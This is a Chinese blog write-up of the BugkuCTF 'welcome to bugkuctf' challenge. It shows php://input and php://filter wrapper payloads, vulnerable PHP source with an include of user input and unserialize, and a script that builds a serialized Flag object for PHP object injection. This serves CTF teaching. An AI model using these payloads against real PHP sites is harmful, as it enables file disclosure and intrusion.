welcome to bugkuctf

打开后,查看源码
在这里插入图片描述很显然想让我们利用源码去得到flag。这里我们稍微解释下这个源码的意思。

开始有三个变量:user,file,pass,但是我们发现这里的pass也就是password没有什么用,所以我们重点关注前两个变量。看下面的条件

(1)这里isset的意思是查看变量是否存在,即user不能为空。

(2)file_get_contents是把整个文件读入字符串中,这里也就是把user这个变量(user显然要是一个文件)的内容以字符串的方式读出来并且要和“welcome to the bugkuctf”完全相等(类型,内容)。
(3)后面提示了我们所以我们要在满足条件之后读取file=hint.php。

知道了以上的三个条件后我们就可以做第一步了,就是如何满足他们的条件!?

这里就要使用php伪协议了。这道题目为了解决第二个条件,要用到 “php://input”协议。大致的意思是让  txt=php://input ,之后在post过去一个字符串

(当传进去的参数作为文件名变量去打开文件时,可以将参数php://传进,同时post方式传进去值作为文件内容,供php代码执行时当做文件内容读取)类似
在这里插入图片描述此时根据提示我们可以把包含的文件读出来了,这里要用到php的第二个伪协议:php://filter
即  txt=php://input&file=php://filter/read=convert.base64-encode/resource=hint.php(简单来说就是利用伪协议读取所包含文件的base64值)得到源码

#hint.php  
  
<?php    
    
class Flag{//flag.php    
    public $file;    
    public function __tostring(){    
        if(isset($this->file)){    
            echo file_get_contents($this->file);   
            echo "<br>";  
        return ("good");  
        }    
    }    
}    
?>   

之后可以继续利用伪协议读取一下index.php源码


    #index.php  
    <?php    
    $txt = $_GET["txt"];    
    $file = $_GET["file"];    
    $password = $_GET["password"];    
        
    if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){    
        echo "hello friend!<br>";    
        if(preg_match("/flag/",$file)){   
            echo "不能现在就给你flag哦";  
            exit();    
        }else{    
            include($file);     
            $password = unserialize($password);    
            echo $password;    
        }    
    }else{    
        echo "you are not the number of bugku ! ";    
    }    
        
    ?>    
        
    <!--    
    $user = $_GET["txt"];    
    $file = $_GET["file"];    
    $pass = $_GET["password"];    
        
    if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){    
        echo "hello admin!<br>";    
        include($file); //hint.php    
    }else{    
        echo "you are not admin ! ";    
    }    
     -->    

我们发现当Flag方法当做字符串执行时,会自动执行 __tostring 方法,方法中写了如果file文件存在,那么就输出file文件中的内容。

这不正是我们要解决的输出flag.php内容的情况吗???所以我们要构造一个Flag类型的参数,并把这个参数传给password然后get进去。并且这个file的值要是hint.php(因为要利用hint.php中的函数),即:————根据php序列化的结果

<?php  
    class Flag{
    public $file;    
    }    
  
    $a = new Flag();  
    $a->file = "flag.php";  
    $a = serialize($a);  
    print_r($a);  
?> 

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值